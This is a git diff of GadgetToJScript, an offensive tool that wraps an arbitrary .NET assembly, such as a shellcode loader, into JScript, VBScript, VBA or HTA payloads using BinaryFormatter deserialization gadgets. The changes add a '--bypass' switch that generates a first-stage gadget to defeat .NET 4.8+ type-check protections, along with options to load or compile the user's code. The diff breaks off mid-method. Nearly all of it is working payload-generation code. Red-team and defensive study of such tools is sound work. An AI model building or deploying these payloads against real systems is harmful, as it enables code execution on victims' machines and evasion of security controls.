diff --git a/.DS_Store b/.DS_Store
index 1e33795..4e8deef 100644
Binary files a/.DS_Store and b/.DS_Store differ
diff --git a/GadgetToJScript.sln b/GadgetToJScript.sln
index d984ad1..f2af0c8 100755
--- a/GadgetToJScript.sln
+++ b/GadgetToJScript.sln
@@ -5,6 +5,8 @@ VisualStudioVersion = 15.0.28010.2003
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GadgetToJScript", "GadgetToJScript\GadgetToJScript.csproj", "{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}"
EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestAssembly", "TestAssembly\TestAssembly.csproj", "{B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -21,6 +23,14 @@ Global
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.Build.0 = Release|Any CPU
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.ActiveCfg = Release|x86
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.Build.0 = Release|x86
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Debug|x86.Build.0 = Debug|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|Any CPU.Build.0 = Release|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|x86.ActiveCfg = Release|Any CPU
+ {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3}.Release|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/GadgetToJScript/.DS_Store b/GadgetToJScript/.DS_Store
deleted file mode 100644
index c72a50f..0000000
Binary files a/GadgetToJScript/.DS_Store and /dev/null differ
diff --git a/GadgetToJScript/App.Config b/GadgetToJScript/App.Config
index 00bfd11..e82980b 100755
--- a/GadgetToJScript/App.Config
+++ b/GadgetToJScript/App.Config
@@ -1,6 +1,6 @@
-
+
-
-
-
\ No newline at end of file
+
+
+
diff --git a/GadgetToJScript/GadgetToJScript.csproj b/GadgetToJScript/GadgetToJScript.csproj
index a264447..56f0eef 100755
--- a/GadgetToJScript/GadgetToJScript.csproj
+++ b/GadgetToJScript/GadgetToJScript.csproj
@@ -1,92 +1,104 @@
-
-
-
-
- Debug
- AnyCPU
- {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}
- Exe
- GadgetToJScript
- GadgetToJScript
- v4.6.1
- 512
- true
- true
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
- true
- bin\x86\Debug\
- DEBUG;TRACE
- full
- x86
- prompt
- MinimumRecommendedRules.ruleset
- true
-
-
- bin\x86\Release\
- TRACE
- true
- pdbonly
- x86
- prompt
- MinimumRecommendedRules.ruleset
- true
-
-
-
- ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Designer
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+ Debug
+ AnyCPU
+ {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}
+ Exe
+ GadgetToJScript
+ GadgetToJScript
+ v4.6.1
+ 512
+ true
+ true
+
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+ false
+
+
+ true
+ bin\x86\Debug\
+ DEBUG;TRACE
+ full
+ x86
+ prompt
+ MinimumRecommendedRules.ruleset
+ true
+
+
+ bin\x86\Release\
+ TRACE
+ true
+ pdbonly
+ x86
+ prompt
+ MinimumRecommendedRules.ruleset
+ true
+
+
+
+ ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Designer
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/GadgetToJScript/Program.cs b/GadgetToJScript/Program.cs
index 803656e..9820949 100755
--- a/GadgetToJScript/Program.cs
+++ b/GadgetToJScript/Program.cs
@@ -21,9 +21,11 @@
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
-namespace GadgetToJScript{
+namespace GadgetToJScript
+{
- class Program{
+ class Program
+ {
enum EWSH
@@ -45,25 +47,35 @@ enum ENC
private static string _outputFName = "test";
private static bool _regFree = false;
private static string _enc = "b64";
+ private static string _assembly = "";
+ private static string _csFile = "";
+ private static string _references = "";
+ private static bool _bypass = false;
static void Main(string[] args)
{
var show_help = false;
-
+ bool _isAssembly = false;
OptionSet options = new OptionSet(){
- {"w|scriptType=","js, vbs, vba or hta", v =>_wsh=v},
- {"e|encodeType=","VBA gadgets encoding: b64 or hex (default set to b64)", v => _enc=v},
- {"o|output=","Generated payload output file, example: C:\\Users\\userX\\Desktop\\output (Without extension)", v =>_outputFName=v},
- {"r|regfree","registration-free activation of .NET based COM components", v => _regFree = v != null},
- {"h|help=","Show Help", v => show_help = v != null},
+ {"w|scriptType=","Set to js, vbs, vba or hta.\n", v =>_wsh=v},
+ {"b|bypass","Bypass type check controls introduced in .NET version 4.8+, by default set to false," +
+ " set to true (--bypass/-b) in case WSH scripts are being generated to run on .NET version > 4.8+ .\n", v => _bypass = v != null},
+ {"e|encodeType=","VBA gadgets encoding: b64 or hex (default set to b64),\n", v => _enc=v},
+ {"o|output=","Generated payload output file, example: -o C:\\Users\\userX\\Desktop\\output (Without extension)\n", v =>_outputFName=v},
+ {"r|regfree","registration-free activation of .NET based COM components, applicable to JS/HTA scripts only.\n", v => _regFree = v != null},
+ {"a|assembly=",".NET Assembly, example: -a C:\\Users\\userX\\Desktop\\shellcode_loader.dll, alternatively you can specify a c# source file instead using -c cmdline switch.\n", v => _assembly=v},
+ {"c|csfile=","C# source code file, example: -c C:\\Users\\userX\\Desktop\\shellcode_loader.cs, make sure to place your code within the default constructor of your class and specify any required dependencies using -d cmdline switch.\n", v => _csFile=v},
+ {"d|references=","Reference Assemblies, example: -d System.Windows.Forms.dll, System.dll\n", v => _references=v},
+ {"h|help","Show Help", v => show_help = v != null},
};
try
{
options.Parse(args);
+
if (_wsh == "" || _outputFName == "")
{
showHelp(options);
@@ -81,105 +93,166 @@ static void Main(string[] args)
showHelp(options);
return;
}
+
+ if (_assembly.Trim() == "" && _csFile.Trim() == "")
+ {
+ showHelp(options);
+ return;
+ }
+ else
+ {
+ _isAssembly = _assembly.Trim() != "" ? true : false;
+
+ if (_isAssembly)
+ {
+ if (!File.Exists(_assembly))
+ {
+ showHelp(options);
+ return;
+ }
+ }
+ else
+ {
+ if (!File.Exists(_csFile))
+ {
+ showHelp(options);
+ return;
+ }
+ }
+ }
+
}
catch (Exception e)
{
- Console.WriteLine(e.Message);
- Console.WriteLine("Try --help for more information.");
+ Console.WriteLine("\nTry --help for more information.");
showHelp(options);
return;
}
string resourceName = "";
+ string dotNetVersion = (_bypass ? "GT4_8" : "LT4_8");
switch (_wsh)
{
case "js":
- if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
- else { resourceName = "GadgetToJScript.templates.jscript.template"; }
+ if (_regFree) { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript-regfree.template"; }
+ else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript.template"; }
break;
case "vbs":
- resourceName = "GadgetToJScript.templates.vbscript.template";
+ resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbscript.template";
break;
case "vba":
- //Console.WriteLine("Not supported yet, only JS, VBS and HTA are supported at the moment");
- //return;
- if (_enc == "b64") {
- resourceName = "GadgetToJScript.templates.vbascriptb64.template";
+ if (_enc == "b64")
+ {
+ resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbascriptb64.template";
}
- else{
- resourceName = "GadgetToJScript.templates.vbascripthex.template";
+ else
+ {
+ resourceName = "GadgetToJScript.templates." + dotNetVersion + ".vbascripthex.template";
}
break;
case "hta":
- resourceName = "GadgetToJScript.templates.htascript.template";
+ if (_regFree && dotNetVersion == "LT4_8") { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".htascript-regfree.template"; }
+ else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".htascript.template"; }
break;
default:
- if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
- else { resourceName = "GadgetToJScript.templates.jscript.template"; }
+ if (_regFree) { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript-regfree.template"; }
+ else { resourceName = "GadgetToJScript.templates." + dotNetVersion + ".jscript.template"; }
break;
}
+ Console.WriteLine("[+]: Generating the " + _wsh + " payload");
- MemoryStream _msStg1 = new MemoryStream();
- _DisableTypeCheckGadgetGenerator _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator();
-
- _msStg1 = _disableTypCheckObj.generateGadget(_msStg1);
+ MemoryStream _msStg1 = null;
+ _DisableTypeCheckGadgetGenerator _disableTypCheckObj = null;
+ if (_bypass)
+ {
+ _msStg1 = new MemoryStream();
+ _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator();
+ _msStg1 = _disableTypCheckObj.generateGadget(_msStg1);
+ Console.WriteLine("[+]: First stage gadget generation done.");
+ }
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
+ Assembly _assemblyBytes = null;
- Assembly testAssembly = TestAssemblyLoader.compile();
+ if (_isAssembly){
+ Console.WriteLine("[+]: Loading your .NET assembly:" + _assembly);
+ _assemblyBytes = _AssemblyLoader.load(_assembly.Trim());
+ }
+ else
+ {
+ Console.WriteLine("[+]: Compiling your .NET code located at:" + _csFile);
+ _assemblyBytes = _AssemblyLoader.compile(_csFile.Trim(), _references.Trim());
+ }
+
+ if (_assemblyBytes == null){
+ return;
+ }
BinaryFormatter _formatterStg2 = new BinaryFormatter();
MemoryStream _msStg2 = new MemoryStream();
- _ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(testAssembly);
+ _ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(_assemblyBytes);
_formatterStg2.Serialize(_msStg2, _gadgetStg);
+ Console.WriteLine("[+]: Second stage gadget generation done.");
Assembly assembly = Assembly.GetExecutingAssembly();
string _wshTemplate = "";
-
using (Stream stream = assembly.GetManifestResourceStream(resourceName))
- if (_wsh != "vba"){
-
- using (StreamReader reader = new StreamReader(stream))
+ if (_wsh != "vba")
{
- _wshTemplate = reader.ReadToEnd();
- _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray()));
- _wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString());
- _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray()));
- _wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString());
+
+ using (StreamReader reader = new StreamReader(stream))
+ {
+ _wshTemplate = reader.ReadToEnd();
+ if (_bypass)
+ {
+ _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray()));
+ _wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString());
+ }
+ _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray()));
+ _wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString());
+ }
}
- }
- else{
+ else
+ {
List stage1Lines = new List();
List stage2Lines = new List();
if (_enc == "b64")
{
- stage1Lines = SplitToLines(Convert.ToBase64String(_msStg1.ToArray()), 100).ToList();
+ if (_bypass)
+ stage1Lines = SplitToLines(Convert.ToBase64String(_msStg1.ToArray()), 100).ToList();
+
stage2Lines = SplitToLines(Convert.ToBase64String(_msStg2.ToArray()), 100).ToList();
}
- else{
- stage1Lines = SplitToLines(BitConverter.ToString(_msStg1.ToArray()).Replace("-", ""), 100).ToList();
+ else
+ {
+ if (_bypass)
+ stage1Lines = SplitToLines(BitConverter.ToString(_msStg1.ToArray()).Replace("-", ""), 100).ToList();
+
stage2Lines = SplitToLines(BitConverter.ToString(_msStg2.ToArray()).Replace("-", ""), 100).ToList();
}
-
- StringBuilder _b1 = new StringBuilder();
- _b1.Append("stage_1 = \"").Append(stage1Lines[0]).Append("\"");
- _b1.AppendLine();
- stage1Lines.RemoveAt(0);
-
- foreach (String line in stage1Lines)
+ StringBuilder _b1 = null;
+ if (_bypass)
{
- _b1.Append("stage_1 = stage_1 & \"").Append(line.ToString().Trim()).Append("\"");
+ _b1 = new StringBuilder();
+ _b1.Append("stage_1 = \"").Append(stage1Lines[0]).Append("\"");
_b1.AppendLine();
+ stage1Lines.RemoveAt(0);
+
+ foreach (String line in stage1Lines)
+ {
+ _b1.Append("stage_1 = stage_1 & \"").Append(line.ToString().Trim()).Append("\"");
+ _b1.AppendLine();
+ }
}
StringBuilder _b2 = new StringBuilder();
@@ -195,37 +268,30 @@ static void Main(string[] args)
using (StreamReader reader = new StreamReader(stream))
- {
- _wshTemplate = reader.ReadToEnd();
- _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", _b1.ToString());
- _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", _b2.ToString());
+ {
+ _wshTemplate = reader.ReadToEnd();
+ if (_bypass)
+ _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", _b1.ToString());
+
+ _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", _b2.ToString());
+ }
}
- }
using (StreamWriter _generatedWSH = new StreamWriter(_outputFName + "." + _wsh))
{
_generatedWSH.WriteLine(_wshTemplate);
}
+ Console.WriteLine("[*]: Payload generation completed, check: " + _outputFName + "." + _wsh);
+
}
public static void showHelp(OptionSet p)
{
- Console.WriteLine("Usage:");
+ Console.WriteLine("\nUsage:");
p.WriteOptionDescriptions(Console.Out);
}
- public static byte[] readRawShellcode(string _SHFname)
- {
- byte[] _buf = null;
- using (FileStream fs = new FileStream(_SHFname, FileMode.Open, FileAccess.Read))
- {
- _buf = new byte[fs.Length];
- fs.Read(_buf, 0, (int)fs.Length);
- }
- return _buf;
- }
-
public static IEnumerable SplitToLines(string stringToSplit, int maximumLineLength)
{
var words = stringToSplit.Split(' ').Concat(new[] { "" });
diff --git a/GadgetToJScript/TestAssemblyLoader.cs b/GadgetToJScript/TestAssemblyLoader.cs
deleted file mode 100755
index 321b8fd..0000000
--- a/GadgetToJScript/TestAssemblyLoader.cs
+++ /dev/null
@@ -1,57 +0,0 @@
-using Microsoft.CSharp;
-using System;
-using System.CodeDom.Compiler;
-using System.Reflection;
-using System.Text;
-
-namespace GadgetToJScript
-{
- class TestAssemblyLoader
- {
- public static Assembly compile()
- {
- // Shellcode loader would make more sense here, just make sure your code is located within the default constructor.
- string _testClass = @"
-
- using System;
- using System.Runtime.InteropServices;
-
- public class TestClass
- {
- " + "[DllImport(\"User32.dll\", CharSet = CharSet.Unicode)]" +
- @"public static extern int MessageBox(IntPtr h, string m, string c, int t);
-
- public TestClass(){
- " + "MessageBox((IntPtr)0, \"Test .NET Assembly Constructor Called.\", \"Coolio\", 0);" +
- @"}
- }
-
- ";
-
- CSharpCodeProvider provider = new CSharpCodeProvider();
- CompilerParameters parameters = new CompilerParameters();
-
- parameters.ReferencedAssemblies.Add("System.dll");
-
-
- CompilerResults results = provider.CompileAssemblyFromSource(parameters, _testClass);
-
- if (results.Errors.HasErrors)
- {
- StringBuilder sb = new StringBuilder();
-
- foreach (CompilerError error in results.Errors)
- {
- sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
- }
-
- throw new InvalidOperationException(sb.ToString());
- }
-
- Assembly _compiled = results.CompiledAssembly;
-
- return _compiled;
- }
-
- }
-}
diff --git a/GadgetToJScript/_ASurrogateGadgetGenerator.cs b/GadgetToJScript/_ASurrogateGadgetGenerator.cs
index 39022bd..295a6d3 100755
--- a/GadgetToJScript/_ASurrogateGadgetGenerator.cs
+++ b/GadgetToJScript/_ASurrogateGadgetGenerator.cs
@@ -16,44 +16,86 @@ namespace GadgetToJScript
public class _ASurrogateGadgetGenerator: ISerializable
{
protected byte[] assemblyBytes;
- public _ASurrogateGadgetGenerator(Assembly _SHLoaderAssembly) {
+ public _ASurrogateGadgetGenerator(Assembly _SHLoaderAssembly)
+ {
this.assemblyBytes = File.ReadAllBytes(_SHLoaderAssembly.Location);
}
protected _ASurrogateGadgetGenerator(SerializationInfo info, StreamingContext context)
{
}
+ private IEnumerable GetEnum(IEnumerable src, Func predicate, Func selector)
+ {
+ Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
+ .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
+ .MakeGenericType(typeof(TSource), typeof(TResult));
+ return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable;
+ }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
+
+ DesignerVerb verb = new DesignerVerb("000", null);
+ Hashtable ht = new Hashtable();
+ List